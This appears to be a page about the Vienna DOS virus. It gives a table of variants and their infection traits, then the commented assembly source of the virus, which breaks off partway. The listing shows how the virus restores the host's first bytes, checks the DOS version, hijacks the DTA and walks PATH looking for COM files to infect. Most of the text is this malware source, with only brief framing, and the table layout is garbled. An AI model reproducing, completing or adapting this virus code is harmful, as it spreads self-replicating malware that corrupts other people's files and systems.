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Here is a short description of what the VIENNA-virus does: A Infects Fixed Disk Partition Table-A-------------------+
9 Infects Fixed Disk Boot Sector-----9-----------------+ |
8 Infects Floppy Diskette Boot-------8---------------+ | |
7 Infects Overlay Files--------------7-------------+ | | |
6 Infects EXE Files------------------6-----------+ | | | |
5 Infects COM files------------------5---------+ | | | | |
4 Infects COMMAND.COM----------------4-------+ | | | | | |
3 Virus Installs Self in Memory------3-----+ | | | | | | |
2 Virus Uses Self-Encryption---------2---+ | | | | | | | |
1 Virus Uses STEALTH Techniques------1-+ | | | | | | | | |
| | | | | | | | | | Increase in
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Virus V V V V V V V V V V V Damage
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1014 [Vienna] . . x x x . . . . . 1014 O P L
Christmas Violator[Vienna] . . . x x . . . . . 5302 O P D
Violator (5) [Vienna] . . . x x . . . . . 1055 O P D
LEGEND: The Vienna-Virus Source-code: ;******************************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;*****************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;*****************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Check the DOS version
;*************************************************************
MOV AH,30H
INT 21H
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
;*************************************************************
; Here if the DOS version is high enough for this to work
;*************************************************************
dos_ok: PUSH ES
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
;************************************************************
; Loop to check for the next four characters
;************************************************************
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
;**********************************************************
; Look in the PATH for more subdirectories, if any
;**********************************************************
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
;**********************************************************
; Here if there are more subdirectories in the path
;**********************************************************
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
;***********************************************************
; Move subdirectory name into file name workspace
;***********************************************************
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
;******************************************************************
; Mark the fact that we're looking through the final subdirectory
;******************************************************************
moved_last_one:
MOV SI,0
... and so on ...
The source of the virus Vienna was published in Russia. How the story began
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